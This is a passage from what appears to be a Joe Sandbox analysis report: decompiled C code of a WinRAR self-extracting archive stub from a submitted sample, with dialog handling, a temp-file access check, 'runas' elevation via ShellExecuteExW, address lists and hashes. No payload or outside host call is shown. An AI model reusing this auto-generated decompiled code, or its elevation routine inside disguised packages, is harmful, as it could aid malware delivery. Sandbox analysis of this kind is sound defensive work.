														L23:
														 *((char*)(_t259 + 0x4ad1)) = 1;
														 *((char*)(_t276 + 0x13)) = 1;
													} else {
														__eflags =  *((intOrPtr*)(_t259 + 0x18)) - 0x20000;
														if( *((intOrPtr*)(_t259 + 0x18)) > 0x20000) {
															goto L23;
														} else {
															 *(_t276 + 0x14) =  *(_t276 + 0x14) + 1;
														}
													}
													_t273 = _t273 + 0x4ae4;
													_t245 =  *((intOrPtr*)(_t276 + 0x18)) +  *((intOrPtr*)(_t259 + 0x24)) +  *((intOrPtr*)(_t259 + 0x18));
													_t225 = _t225 + 1;
													 *((intOrPtr*)(_t276 + 0x18)) = _t245;
													_t208 = _t263 - _t245;
													__eflags = _t208;
													 *(_t276 + 0x1c) = _t225;
													if(_t208 < 0) {
														L26:
														__eflags = _t208 - 0x400;
														if(_t208 >= 0x400) {
															goto L27;
														}
													} else {
														__eflags =  *((char*)(_t259 + 0x28));
														if( *((char*)(_t259 + 0x28)) == 0) {
															goto L26;
														}
													}
												} else {
													 *((char*)(_t259 + 0x14)) = 1;
													_push(_t259 + 0x18);
													_push(_t259 + 4);
													_t212 = E013B2B39(_t216);
													__eflags = _t212;
													if(_t212 == 0) {
														L29:
														 *((char*)(_t276 + 0x12)) = 1;
													} else {
														__eflags =  *((char*)(_t259 + 0x29));
														if( *((char*)(_t259 + 0x29)) != 0) {
															L19:
															_t225 =  *(_t276 + 0x1c);
															 *((char*)(_t216 + 0xe662)) = 1;
															goto L20;
														} else {
															__eflags =  *((char*)(_t216 + 0xe662));
															if( *((char*)(_t216 + 0xe662)) == 0) {
																goto L29;
															} else {
																goto L19;
															}
														}
													}
												}
											}
											goto L30;
											L27:
											_t170 =  *(_t216 + 0x1c) +  *(_t216 + 0x1c);
											__eflags = _t225 - _t170;
										} while (_t225 < _t170);
									}
									L30:
									_t226 =  *(_t276 + 0x14);
									_t171 = _t226;
									_t257 = _t171 /  *(_t216 + 0x1c);
									__eflags = _t171 %  *(_t216 + 0x1c);
									if(_t171 %  *(_t216 + 0x1c) != 0) {
										_t257 = _t257 + 1;
										__eflags = _t257;
									}
									_t269 = 0;
									__eflags = _t226;
									if(_t226 != 0) {
										_t247 = 0;
										_t267 = _t276 + 0x34;
										_t195 = _t257 * 0x4ae4;
										__eflags = _t195;
										 *((intOrPtr*)(_t276 + 0x24)) = 0;
										 *(_t276 + 0x30) = _t195;
										do {
											_t232 = _t267;
											_t248 = _t247 +  *((intOrPtr*)(_t216 + 0x18));
											_t197 =  *(_t276 + 0x14) - _t269;
											_t267 = _t267 + 8;
											 *_t232 = _t247 +  *((intOrPtr*)(_t216 + 0x18));
											__eflags = _t257 - _t197;
											if(_t257 < _t197) {
												_t197 = _t257;
											}
											__eflags =  *(_t276 + 0x1c) - 1;
											 *(_t232 + 4) = _t197;
											if( *(_t276 + 0x1c) != 1) {
												E013AFAB9( *((intOrPtr*)(_t216 + 0x14)), E013B63C2, _t232);
											} else {
												E013B5DB8(_t216, _t248);
											}
											_t269 = _t269 + _t257;
											_t247 =  *((intOrPtr*)(_t276 + 0x24)) +  *(_t276 + 0x30);
											 *((intOrPtr*)(_t276 + 0x24)) = _t247;
											__eflags = _t269 -  *(_t276 + 0x14);
										} while (_t269 <  *(_t276 + 0x14));
										_t263 =  *(_t276 + 0x20);
									}
									_t270 =  *(_t276 + 0x1c);
									__eflags = _t270;
									if(_t270 == 0) {
										_t268 =  *((intOrPtr*)(_t276 + 0x18));
										goto L68;
									} else {
										E013AFDB7( *((intOrPtr*)(_t216 + 0x14)));
										 *(_t276 + 0x14) = 0;
										__eflags = _t270;
										if(_t270 == 0) {
											L52:
											_t175 =  *((intOrPtr*)(_t276 + 0x12));
											goto L53;
										} else {
											_t260 = 0;
											__eflags = 0;
											do {
												_t272 =  *((intOrPtr*)(_t216 + 0x18)) + _t260;
												__eflags =  *((char*)(_t272 + 0x4ad1));
												if( *((char*)(_t272 + 0x4ad1)) != 0) {
													L47:
													_t178 = E013B63F1(_t216, _t272);
													__eflags = _t178;
													if(_t178 != 0) {
														goto L48;
													}
												} else {
													_t194 = E013B2592(_t216, _t272);
													__eflags = _t194;
													if(_t194 != 0) {
														__eflags =  *((char*)(_t272 + 0x4ad1));
														if( *((char*)(_t272 + 0x4ad1)) == 0) {
															L48:
															__eflags =  *((char*)(_t272 + 0x4ad0));
															if( *((char*)(_t272 + 0x4ad0)) == 0) {
																__eflags =  *((char*)(_t272 + 0x4ad3));
																if( *((char*)(_t272 + 0x4ad3)) != 0) {
																	_t230 =  *((intOrPtr*)(_t216 + 0x20));
																	_t181 =  *((intOrPtr*)(_t272 + 0x10)) -  *((intOrPtr*)(_t216 + 0x20)) +  *(_t272 + 4);
																	__eflags = _t263 - _t181;
																	if(_t263 > _t181) {
																		_t263 = _t263 - _t181;
																		 *(_t276 + 0x2c) = _t263;
																		E013C0360(_t230, _t181 + _t230, _t263);
																		_t276 = _t276 + 0xc;
																		 *((intOrPtr*)(_t272 + 0x18)) =  *((intOrPtr*)(_t272 + 0x18)) +  *(_t272 + 0x20) -  *(_t272 + 4);
																		 *(_t272 + 0x24) =  *(_t272 + 0x24) & 0x00000000;
																		 *(_t272 + 0x20) =  *(_t272 + 0x20) & 0x00000000;
																		 *(_t272 + 4) =  *(_t272 + 4) & 0x00000000;
																		 *((intOrPtr*)(_t272 + 0x10)) =  *((intOrPtr*)(_t216 + 0x20));
																		__eflags =  *(_t276 + 0x14);
																		if( *(_t276 + 0x14) != 0) {
																			_t188 =  *((intOrPtr*)(_t216 + 0x18));
																			E013BDFA0(_t188, _t272, 0x4ae4);
																			 *((intOrPtr*)( *((intOrPtr*)(_t216 + 0x18)) + 0x4ad4)) =  *((intOrPtr*)(_t188 + 0x4ad4));
																			_t263 =  *(_t276 + 0x2c);
																			 *((intOrPtr*)( *((intOrPtr*)(_t216 + 0x18)) + 0x4adc)) =  *((intOrPtr*)(_t188 + 0x4adc));
																			 *((char*)(_t272 + 0x4ad3)) = 0;
																			goto L62;
																		}
																		goto L63;
																	}
																} else {
																	__eflags =  *((char*)(_t272 + 0x28));
																	if( *((char*)(_t272 + 0x28)) != 0) {
																		_t175 = 1;
																		 *((char*)(_t276 + 0x12)) = 1;
																		L53:
																		__eflags = _t175;
																		if(_t175 == 0) {
																			_t268 =  *((intOrPtr*)(_t276 + 0x18));
																			_t263 = _t263 - _t268;
																			__eflags = _t263 - 0x400;
																			if(_t263 < 0x400) {
																				__eflags = _t263;
																				if(__eflags >= 0) {
																					if(__eflags <= 0) {
																						L63:
																						_t268 = 0;
																						 *((intOrPtr*)(_t276 + 0x18)) = 0;
																						L68:
																						__eflags =  *((char*)(_t276 + 0x12));
																						if( *((char*)(_t276 + 0x12)) == 0) {
																							goto L4;
																						}
																					} else {
																						E013C0360( *((intOrPtr*)(_t216 + 0x20)),  *((intOrPtr*)(_t216 + 0x20)) + _t268, _t263);
																						L62:
																						_t276 = _t276 + 0xc;
																						goto L63;
																					}
																				}
																			} else {
																				_t263 =  *(_t276 + 0x20);
																				goto L56;
																			}
																		}
																	} else {
																		goto L51;
																	}
																}
															}
														} else {
															goto L47;
														}
													}
												}
												goto L69;
												L51:
												_t260 = _t260 + 0x4ae4;
												_t193 =  *(_t276 + 0x14) + 1;
												 *(_t276 + 0x14) = _t193;
												__eflags = _t193 -  *(_t276 + 0x1c);
											} while (_t193 <  *(_t276 + 0x1c));
											goto L52;
										}
									}
									goto L69;
								}
							}
							continue;
						}
					}
					break;
				}
				L69:
				 *(_t216 + 0x7c) =  *(_t216 + 0x7c) &  *(_t216 + 0xe6dc);
				E013B3EF0(_t216);
				_t241 =  *(_t276 + 0x28) * 0x4ae4;
				_t164 =  *((intOrPtr*)(_t216 + 0x18));
				_t223 = 5;
				__eflags = _t164 + _t241 + 0x30;
				return E013BDFA0(memcpy(_t216 + 0x8c, _t241 + 0x18 + _t164, _t223 << 2), _t164 + _t241 + 0x30, 0x4a9c);
			}

0x013b598d
0x013b598f
0x013b599d
0x013b59a5
0x013b59a9
0x013b59ab
0x013b59ad
0x013b59ad
0x013b59b0
0x013b59b6
0x013b59b7
0x013b59bc
0x013b59c6
0x013b59ad
0x013b59d5
0x013b59e5
0x013b59ee
0x013b59f5
0x013b59f8
0x013b59fa
0x013b59fe
0x013b5a00
0x013b5a04
0x013b5a08
0x013b5a0c
0x013b5a0c
0x013b5a18
0x013b5a1e
0x013b5a1f
0x013b5a24
0x013b5a2a
0x00000000
0x00000000
0x013b5a30
0x013b5a32
0x013b5a36
0x013b5a3e
0x00000000
0x013b5a44
0x013b5a4a
0x00000000
0x013b5ca0
0x013b5a54
0x013b5a56
0x013b5a5a
0x013b5a5e
0x013b5a5e
0x013b5a60
0x013b5a66
0x013b5a6a
0x013b5a6a
0x013b5a6c
0x013b5a6f
0x013b5a71
0x013b5a75
0x013b5a7c
0x013b5a7e
0x013b5a91
0x013b5a96
0x013b5a9e
0x013b5aa1
0x013b5aa1
0x013b5aa5
0x013b5aa8
0x013b5aae
0x013b5ab4
0x013b5aba
0x013b5abd
0x013b5ac0
0x00000000
0x013b5ac0
0x013b5a80
0x013b5a80
0x013b5ac4
0x013b5ac4
0x013b5ac9
0x013b5ad3
0x013b5ad9
0x013b5add
0x013b5ae3
0x013b5b16
0x013b5b16
0x013b5b1b
0x013b5b2c
0x013b5b2c
0x013b5b33
0x013b5b1d
0x013b5b1d
0x013b5b24
0x00000000
0x013b5b26
0x013b5b26
0x013b5b26
0x013b5b24
0x013b5b3b
0x013b5b48
0x013b5b4a
0x013b5b4d
0x013b5b51
0x013b5b51
0x013b5b53
0x013b5b57
0x013b5b5f
0x013b5b5f
0x013b5b64
0x00000000
0x00000000
0x013b5b59
0x013b5b59
0x013b5b5d
0x00000000
0x00000000
0x013b5b5d
0x013b5ae5
0x013b5ae8
0x013b5aec
0x013b5af2
0x013b5af3
0x013b5af8
0x013b5afa
0x013b5b75
0x013b5b75
0x013b5afc
0x013b5afc
0x013b5b00
0x013b5b0b
0x013b5b0b
0x013b5b0f
0x00000000
0x013b5b02
0x013b5b02
0x013b5b09
0x00000000
0x00000000
0x00000000
0x00000000
0x013b5b09
0x013b5b00
0x013b5afa
0x013b5ae3
0x00000000
0x013b5b66
0x013b5b69
0x013b5b6b
0x013b5b6b
0x013b5b73
0x013b5b7a
0x013b5b7a
0x013b5b80
0x013b5b85
0x013b5b87
0x013b5b89
0x013b5b8b
0x013b5b8b
0x013b5b8b
0x013b5b8c
0x013b5b8e
0x013b5b90
0x013b5b92
0x013b5b94
0x013b5b98
0x013b5b98
0x013b5b9e
0x013b5ba2
0x013b5ba6
0x013b5baa
0x013b5bac
0x013b5baf
0x013b5bb1
0x013b5bb4
0x013b5bb6
0x013b5bb8
0x013b5bba
0x013b5bba
0x013b5bbc
0x013b5bc1
0x013b5bc4
0x013b5bd9
0x013b5bc6
0x013b5bc9
0x013b5bc9
0x013b5be2
0x013b5be4
0x013b5be8
0x013b5bec
0x013b5bec
0x013b5bf2
0x013b5bf2
0x013b5bf6
0x013b5bfa
0x013b5bfc
0x013b5d57
0x00000000
0x013b5c02
0x013b5c05
0x013b5c0c
0x013b5c10
0x013b5c12
0x013b5c7e
0x013b5c7e
0x00000000
0x013b5c14
0x013b5c14
0x013b5c14
0x013b5c16
0x013b5c19
0x013b5c1b
0x013b5c22
0x013b5c3d
0x013b5c40
0x013b5c45
0x013b5c47
0x00000000
0x00000000
0x013b5c24
0x013b5c27
0x013b5c2c
0x013b5c2e
0x013b5c34
0x013b5c3b
0x013b5c4d
0x013b5c4d
0x013b5c54
0x013b5c5a
0x013b5c61
0x013b5cb8
0x013b5cbd
0x013b5cc0
0x013b5cc2
0x013b5cc8
0x013b5ccf
0x013b5cd3
0x013b5cdb
0x013b5ce1
0x013b5ce4
0x013b5ce8
0x013b5cef
0x013b5cf3
0x013b5cfa
0x013b5cfc
0x013b5cfe
0x013b5d14
0x013b5d1c
0x013b5d25
0x013b5d29
0x013b5d2f
0x00000000
0x013b5d2f
0x00000000
0x013b5cfc
0x013b5c63
0x013b5c63
0x013b5c67
0x013b5cad
0x013b5caf
0x013b5c82
0x013b5c82
0x013b5c84
0x013b5c8a
0x013b5c8e
0x013b5c90
0x013b5c96
0x013b5d41
0x013b5d43
0x013b5d45
0x013b5d39
0x013b5d39
0x013b5d3b
0x013b5d5b
0x013b5d5b
0x013b5d60
0x00000000
0x00000000
0x013b5d47
0x013b5d50
0x013b5d36
0x013b5d36
0x00000000
0x013b5d36
0x013b5d45
0x013b5c9c
0x013b5c9c
0x00000000
0x013b5c9c
0x013b5c96
0x00000000
0x00000000
0x00000000
0x013b5c67
0x013b5c61
0x00000000
0x00000000
0x00000000
0x013b5c3b
0x013b5c2e
0x00000000
0x013b5c69
0x013b5c6d
0x013b5c73
0x013b5c74
0x013b5c78
0x013b5c78
0x00000000
0x013b5c16
0x013b5c12
0x00000000
0x013b5bfc
0x013b5ca8
0x00000000
0x013b5a4a
0x013b5a3e
0x00000000
0x013b5a36
0x013b5d66
0x013b5d6e
0x013b5d71
0x013b5d76
0x013b5d84
0x013b5d89
0x013b5d97
0x013b5db5

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a94892dc8ce4d557c22cac7c184ad1124bd94223d1c116821a943aacabe157a9
Instruction ID: 766462639722d7f1786d8c24254163bd24a6e4daef5586fcf31804a80b5bad86
Opcode Fuzzy Hash: a94892dc8ce4d557c22cac7c184ad1124bd94223d1c116821a943aacabe157a9
Instruction Fuzzy Hash: 34D1E6B16043468FDB14CF28C8C47DBBBE4AF9530CF08056DEA449BA42E734E959CB96

Uniqueness

Uniqueness Score: -1.00%

Function 013B9B4E Relevance: 95.2, APIs: 46, Strings: 8, Instructions: 724
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E013B9B4E(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				long _t105;
				long _t106;
				struct HWND__* _t107;
				struct HWND__* _t111;
				void* _t114;
				void* _t115;
				int _t116;
				void* _t133;
				void* _t137;
				signed int _t149;
				struct HWND__* _t152;
				void* _t163;
				void* _t166;
				int _t169;
				void* _t182;
				struct HWND__* _t189;
				void* _t190;
				long _t195;
				void* _t220;
				signed int _t230;
				void* _t231;
				void* _t246;
				long _t247;
				long _t248;
				long _t249;
				signed int _t254;
				WCHAR* _t255;
				int _t259;
				void* _t261;
				void* _t266;
				void* _t270;
				signed short _t275;
				int _t277;
				struct HWND__* _t279;
				void* _t285;
				WCHAR* _t286;
				void* _t292;
				intOrPtr _t293;
				void* _t304;
				void* _t305;
				struct HWND__* _t307;
				signed int _t310;
				void* _t311;
				struct HWND__* _t313;
				void* _t315;
				long _t317;
				struct HWND__* _t320;
				struct HWND__* _t321;
				void* _t322;
				void* _t324;
				void* _t326;
				void* _t328;

				_t304 = __edx;
				_t285 = __ecx;
				E013BCDF0(E013CF7BD, _t326);
				E013BCEC0();
				_t275 =  *(_t326 + 0x10);
				_t310 =  *(_t326 + 0xc);
				_t307 =  *(_t326 + 8);
				if(E013A12E7(_t304, _t307, _t310, _t275,  *(_t326 + 0x14), L"STARTDLG", 0, 0) == 0) {
					_t311 = _t310 - 0x110;
					__eflags = _t311;
					if(__eflags == 0) {
						E013BB8BB(_t304, __eflags, __fp0, _t307);
						_t105 =  *0x13e622c;
						_t277 = 1;
						 *0x13e2100 = _t307;
						 *0x13e20f0 = _t307;
						__eflags = _t105;
						if(_t105 != 0) {
							SendMessageW(_t307, 0x80, 1, _t105); // executed
						}
						_t106 =  *0x13f0824;
						__eflags = _t106;
						if(_t106 != 0) {
							SendDlgItemMessageW(_t307, 0x6c, 0x172, 0, _t106); // executed
						}
						_t107 = GetDlgItem(_t307, 0x68);
						 *(_t326 + 0x14) = _t107;
						SendMessageW(_t107, 0x435, 0, 0x400000);
						E013B8B8D(_t326 - 0x1164, 0x800);
						_t111 = GetDlgItem(_t307, 0x66);
						__eflags =  *0x13e412a;
						_t313 = _t111;
						 *(_t326 + 0x10) = _t313;
						_t286 = 0x13e412a;
						if( *0x13e412a == 0) {
							_t286 = _t326 - 0x1164;
						}
						SetWindowTextW(_t313, _t286);
						E013B8FC7(_t313); // executed
						_push(0x13e210c);
						_push(0x13e2108);
						_push(0x13f7938);
						_push(_t307);
						 *0x13e20fe = 0; // executed
						_t114 = E013B9484(_t286, _t304, __eflags); // executed
						__eflags = _t114;
						if(_t114 == 0) {
							 *0x13e20f9 = _t277;
						}
						__eflags =  *0x13e210c;
						if( *0x13e210c > 0) {
							_push(7);
							_push( *0x13e2108);
							_push(_t307);
							E013BAA44(_t304);
						}
						__eflags =  *0x13f8940;
						if( *0x13f8940 == 0) {
							SetDlgItemTextW(_t307, 0x6b, E013AD192(0xbf));
							SetDlgItemTextW(_t307, _t277, E013AD192(0xbe));
						}
						__eflags =  *0x13e210c;
						if( *0x13e210c <= 0) {
							L103:
							__eflags =  *0x13e20fe;
							if( *0x13e20fe != 0) {
								L114:
								__eflags =  *0x13e4124 - 2;
								if( *0x13e4124 == 2) {
									EnableWindow(_t313, 0);
								}
								__eflags =  *0x13e3120;
								if( *0x13e3120 != 0) {
									E013A12A4(_t307, 0x67, 0);
									E013A12A4(_t307, 0x66, 0);
								}
								_t115 =  *0x13e4124;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags =  *0x13e20ff;
									if( *0x13e20ff == 0) {
										_push(0);
										_push(_t277);
										_push(0x111);
										_push(_t307);
										__eflags = _t115 - _t277;
										if(_t115 != _t277) {
											 *0x13daa98();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x13e20f9;
								if( *0x13e20f9 != 0) {
									SetDlgItemTextW(_t307, _t277, E013AD192(0x90));
								}
								goto L125;
							}
							__eflags =  *0x13f792c;
							if( *0x13f792c != 0) {
								goto L114;
							}
							__eflags =  *0x13e4124;
							if( *0x13e4124 != 0) {
								goto L114;
							}
							__eflags = 0;
							_t315 = 0xaa;
							 *((short*)(_t326 - 0x9688)) = 0;
							do {
								__eflags = _t315 - 0xaa;
								if(_t315 != 0xaa) {
									L109:
									__eflags = _t315 - 0xab;
									if(__eflags != 0) {
										L111:
										E013AF138(__eflags, _t326 - 0x9688, " ", 0x2000);
										E013AF138(__eflags, _t326 - 0x9688, E013AD192(_t315), 0x2000);
										goto L112;
									}
									__eflags =  *0x13f8940;
									if(__eflags != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x13f8940;
								if( *0x13f8940 == 0) {
									goto L112;
								}
								goto L109;
								L112:
								_t315 = _t315 + 1;
								__eflags = _t315 - 0xb0;
							} while (__eflags <= 0);
							_push(0);
							E013B859B( *0x13e2110, __eflags,  *0x13dcba8,  *(_t326 + 0x14), _t326 - 0x9688, 0);
							_t313 =  *(_t326 + 0x10);
							goto L114;
						} else {
							_push(0);
							_push( *0x13e2108);
							_push(_t307); // executed
							E013BAA44(_t304); // executed
							_t133 =  *0x13f792c;
							__eflags = _t133;
							if(_t133 != 0) {
								__eflags =  *0x13e4124;
								if(__eflags == 0) {
									_push(0);
									E013B859B( *0x13e2110, __eflags,  *0x13dcba8,  *(_t326 + 0x14), _t133, 0);
									L013C20BE( *0x13f792c);
								}
							}
							__eflags =  *0x13e4124 - _t277;
							if( *0x13e4124 == _t277) {
								L102:
								_push(_t277);
								_push( *0x13e2108);
								_push(_t307);
								E013BAA44(_t304);
								goto L103;
							} else {
								 *0x13daaa0(_t307);
								__eflags =  *0x13e4124 - _t277;
								if( *0x13e4124 == _t277) {
									goto L102;
								}
								__eflags =  *0x13e4129;
								if( *0x13e4129 != 0) {
									goto L102;
								}
								_push(3);
								_push( *0x13e2108);
								_push(_t307);
								E013BAA44(_t304);
								__eflags =  *0x13f8938;
								if( *0x13f8938 == 0) {
									goto L102;
								}
								_t137 = DialogBoxParamW( *0x13dcba8, L"LICENSEDLG", 0, E013B995E, 0);
								__eflags = _t137;
								if(_t137 == 0) {
									L25:
									 *0x13e20ff = _t277;
									L26:
									_push(_t277);
									L13:
									 *0x13daa8c(_t307); // executed
									L125:
									_t116 = _t277;
									L126:
									 *[fs:0x0] =  *((intOrPtr*)(_t326 - 0xc));
									return _t116;
								}
								goto L102;
							}
						}
					}
					__eflags = _t311 != 1;
					if(_t311 != 1) {
						L7:
						_t116 = 0;
						goto L126;
					}
					_t149 = (_t275 & 0x0000ffff) - 1;
					__eflags = _t149;
					if(_t149 == 0) {
						__eflags =  *0x13e20f8;
						if( *0x13e20f8 != 0) {
							L23:
							_t317 = 0x800;
							GetDlgItemTextW(_t307, 0x66, _t326 - 0x2164, 0x800);
							__eflags =  *0x13e20f8;
							if( *0x13e20f8 == 0) {
								__eflags =  *0x13e20f9;
								if( *0x13e20f9 == 0) {
									_t152 = GetDlgItem(_t307, 0x68);
									__eflags =  *0x13e20f4;
									_t279 = _t152;
									if( *0x13e20f4 == 0) {
										SendMessageW(_t279, 0xb1, 0, 0xffffffff);
										SendMessageW(_t279, 0xc2, 0, 0x13d02e4);
										_t317 = 0x800;
									}
									SetFocus(_t279);
									__eflags =  *0x13e3120;
									if( *0x13e3120 == 0) {
										E013AF160(_t326 - 0x1164, _t326 - 0x2164, _t317);
										E013BB68C(_t285, _t326 - 0x1164, _t317);
										E013A3F2B(_t326 - 0x4288, 0x880, E013AD192(0xb9), _t326 - 0x1164);
										_t328 = _t328 + 0x10;
										_t163 = _t326 - 0x4288;
									} else {
										_t163 = E013AD192(0xba);
									}
									E013BB70D(0, _t163);
									__eflags =  *0x13e4129;
									if( *0x13e4129 == 0) {
										E013BBD74(_t326 - 0x2164);
									}
									_push(0);
									_push(_t326 - 0x2164);
									 *(_t326 + 0x17) = 0;
									_t166 = E013A9D1E(0, _t326);
									_t277 = 1;
									__eflags = _t166;
									if(_t166 != 0) {
										L40:
										_t305 = E013B9022(_t326 - 0x2164);
										 *((char*)(_t326 + 0x13)) = _t305;
										__eflags = _t305;
										if(_t305 != 0) {
											L43:
											_t169 =  *(_t326 + 0x17);
											L44:
											_t292 =  *0x13e4129;
											__eflags = _t292;
											if(_t292 != 0) {
												L50:
												__eflags =  *((char*)(_t326 + 0x13));
												if( *((char*)(_t326 + 0x13)) != 0) {
													 *0x13e2104 = _t277;
													E013A12C2(_t307, 0x67, 0);
													E013A12C2(_t307, 0x66, 0);
													SetDlgItemTextW(_t307, _t277, E013AD192(0xe6)); // executed
													E013A12C2(_t307, 0x69, _t277);
													SetDlgItemTextW(_t307, 0x65, 0x13d02e4); // executed
													_t320 = GetDlgItem(_t307, 0x65);
													__eflags = _t320;
													if(_t320 != 0) {
														_t195 = GetWindowLongW(_t320, 0xfffffff0) | 0x00000080;
														__eflags = _t195;
														SetWindowLongW(_t320, 0xfffffff0, _t195);
													}
													_push(5);
													_push( *0x13e2108);
													_push(_t307);
													E013BAA44(_t305);
													_push(2);
													_push( *0x13e2108);
													_push(_t307);
													E013BAA44(_t305);
													_push(0x13f7938);
													_push(_t307);
													 *0x13fa95c = _t277; // executed
													E013BBC77(_t292, _t305, __eflags); // executed
													_push(6);
													_push( *0x13e2108);
													 *0x13fa95c = 0;
													_push(_t307);
													E013BAA44(_t305);
													__eflags =  *0x13e20ff;
													if( *0x13e20ff == 0) {
														__eflags =  *0x13e20f4;
														if( *0x13e20f4 == 0) {
															__eflags =  *0x13f894c;
															if( *0x13f894c == 0) {
																_push(4);
																_push( *0x13e2108);
																_push(_t307);
																E013BAA44(_t305);
															}
														}
													}
													E013A12A4(_t307, _t277, _t277);
													 *0x13e2104 =  *0x13e2104 & 0x00000000;
													__eflags =  *0x13e2104;
													_t182 =  *0x13e20ff;
													goto L75;
												}
												__eflags = _t292;
												_t169 = (_t169 & 0xffffff00 | _t292 != 0x00000000) - 0x00000001 &  *(_t326 + 0x17);
												__eflags = _t169;
												L52:
												__eflags = _t169;
												 *(_t326 + 0x17) = _t169 == 0;
												__eflags = _t169;
												if(_t169 == 0) {
													L66:
													__eflags =  *(_t326 + 0x17);
													if( *(_t326 + 0x17) != 0) {
														_push(E013AD192(0x9a));
														E013A3F2B(_t326 - 0x5688, 0xa00, L"\"%s\"\n%s", _t326 - 0x2164);
														E013A6E8B(0x13dcbe8, _t277);
														E013B8CCA(_t307, _t326 - 0x5688, E013AD192(0x96), 0x30);
														 *0x13e20f4 =  *0x13e20f4 + 1;
													}
													L12:
													_push(0);
													goto L13;
												}
												GetModuleFileNameW(0, _t326 - 0x1164, 0x800);
												E013ADECC(0x13e612a, _t326 - 0x164, 0x80);
												_push(0x13e512a);
												E013A3F2B(_t326 - 0x11ca0, 0x430c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t326 - 0x2164);
												_t328 = _t328 + 0x14;
												 *(_t326 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t326 - 0x44)) = 0x40;
												 *((intOrPtr*)(_t326 - 0x38)) = _t326 - 0x1164;
												 *((intOrPtr*)(_t326 - 0x34)) = _t326 - 0x11ca0;
												 *(_t326 - 0x40) = _t307;
												 *((intOrPtr*)(_t326 - 0x3c)) = L"runas";
												 *(_t326 - 0x2c) = _t277;
												 *((intOrPtr*)(_t326 - 0x28)) = 0;
												 *((intOrPtr*)(_t326 - 0x30)) = 0x13e2120;
												_t322 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7104, L"winrarsfxmappingfile.tmp");
												 *(_t326 + 8) = _t322;
												__eflags = _t322;
												if(_t322 == 0) {
													 *(_t326 + 0x10) =  *(_t326 + 0x14);
												} else {
													 *0x13f0828 = 0;
													_t231 = GetCommandLineW();
													__eflags = _t231;
													if(_t231 != 0) {
														E013AF160(0x13f082a, _t231, 0x2000);
													}
													E013B97E3(0x13e612a, 0x13f482a, 7);
													E013B97E3(0x13e612a, 0x13f582a, 2);
													E013B97E3(0x13e612a, 0x13f682a, 0x10);
													 *0x13f792b = _t277;
													E013AE030(_t277, 0x13f782a, _t326 - 0x164);
													 *(_t326 + 0x10) = MapViewOfFile(_t322, 2, 0, 0, 0);
													E013BDFA0(_t238, 0x13f0828, 0x7104);
													_t328 = _t328 + 0xc;
												}
												_t220 = ShellExecuteExW(_t326 - 0x48);
												E013AE07B(_t326 - 0x164, 0x80);
												E013AE07B(_t326 - 0x11ca0, 0x430c);
												__eflags = _t220;
												if(_t220 == 0) {
													_t324 =  *(_t326 + 0x10);
													 *(_t326 + 0x17) = _t277;
													goto L64;
												} else {
													 *0x13daa80( *(_t326 - 0x10), 0x2710);
													_t71 = _t326 + 0xc;
													 *_t71 =  *(_t326 + 0xc) & 0x00000000;
													__eflags =  *_t71;
													_t324 =  *(_t326 + 0x10);
													while(1) {
														__eflags =  *_t324;
														if( *_t324 != 0) {
															break;
														}
														Sleep(0x64);
														_t230 =  *(_t326 + 0xc) + 1;
														 *(_t326 + 0xc) = _t230;
														__eflags = _t230 - 0x64;
														if(_t230 < 0x64) {
															continue;
														}
														break;
													}
													 *0x13f894c =  *(_t326 - 0x10);
													L64:
													__eflags =  *(_t326 + 8);
													if( *(_t326 + 8) != 0) {
														UnmapViewOfFile(_t324);
														CloseHandle( *(_t326 + 8));
													}
													goto L66;
												}
											}
											__eflags = _t305;
											if(_t305 == 0) {
												goto L52;
											}
											E013A3F2B(_t326 - 0x1164, 0x800, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t328 = _t328 + 0x10;
											E013A9451(_t326 - 0x3188);
											 *(_t326 - 4) =  *(_t326 - 4) & 0x00000000;
											_push(0x11);
											_push(_t326 - 0x1164);
											_t246 = E013A9541(_t326 - 0x3188);
											 *((char*)(_t326 + 0x13)) = _t246;
											__eflags = _t246;
											if(_t246 == 0) {
												_t247 = GetLastError();
												__eflags = _t247 - 5;
												if(_t247 == 5) {
													 *(_t326 + 0x17) = _t277;
												}
											}
											_t39 = _t326 - 4;
											 *_t39 =  *(_t326 - 4) | 0xffffffff;
											__eflags =  *_t39;
											_t169 = E013A9487(_t326 - 0x3188); // executed
											_t292 =  *0x13e4129;
											goto L50;
										}
										_t248 = GetLastError();
										_t305 =  *((intOrPtr*)(_t326 + 0x13));
										__eflags = _t248 - 5;
										if(_t248 != 5) {
											goto L43;
										}
										_t169 = _t277;
										 *(_t326 + 0x17) = _t169;
										goto L44;
									} else {
										_t249 = GetLastError();
										__eflags = _t249 - 5;
										if(_t249 == 5) {
											L39:
											 *(_t326 + 0x17) = _t277;
											goto L40;
										}
										__eflags = _t249 - 3;
										if(_t249 != 3) {
											goto L40;
										}
										goto L39;
									}
								} else {
									_t277 = 1;
									_t182 = 1;
									 *0x13e20ff = 1;
									L75:
									__eflags =  *0x13e20f4;
									if( *0x13e20f4 <= 0) {
										goto L26;
									}
									__eflags = _t182;
									if(_t182 != 0) {
										goto L26;
									}
									 *0x13e20f8 = _t277;
									SetDlgItemTextW(_t307, _t277, E013AD192(0x90));
									_t293 =  *0x13dcbe8; // 0x0
									__eflags = _t293 - 9;
									if(_t293 != 9) {
										__eflags = _t293 - 3;
										_t189 = ((0 | _t293 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
